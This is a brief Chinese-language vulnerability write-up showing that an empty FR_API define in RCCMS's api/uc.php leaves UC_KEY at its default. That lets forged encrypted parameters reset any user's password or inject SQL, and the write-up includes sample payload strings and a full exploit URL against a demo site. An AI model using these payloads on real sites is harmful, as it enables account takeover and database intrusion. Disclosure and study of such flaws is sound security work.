在api/uc.php中
来看看所包含的这文件。
这里一开始define('FR_API','') 为空
然后肯定就不能进入那两个if
就没有赋值
那么这个UC_KEY 就是UC_KEY
就可以调用一个函数来生成语句了。
随便找一个函数。
这里用户名和密码都是我们生成的语句所传递进来的 所以我们可以update任意会员的密码 。
当然也可以注入。
这里我调用函数生成一下加密字符串
得到
ece1D670hYzmEkiFD%2FnY%2Fm5PqCzmA99OphcKcW5cb4dL3AzW%2BL73lRDDdNngdeYQnYzE6wYCC4WoIef2%2FKhd08acKElW30X4jIyIuyW3jUPADDbfsdnCcqE

可以看到报错了 成功引入了单引号。
如果这里我们生成语句的时候 把用户名和密码改一下 就可以改任意用户的密码了。
测试一下demo
http://v2014.rccms.com/api/uc.php?code=e209ygVWvjwOg2ruKoPLOsY4PmxKnRndC73%2BVooImrexNhWivklLwRzSB011MsqX5CzUzxQa2beOvkmPXY0WW63US8VJal8MxDkMvVum5KtY1KvpZYnf6wKd28M1fg

可以看到报错了 自然也就是引入单引号了。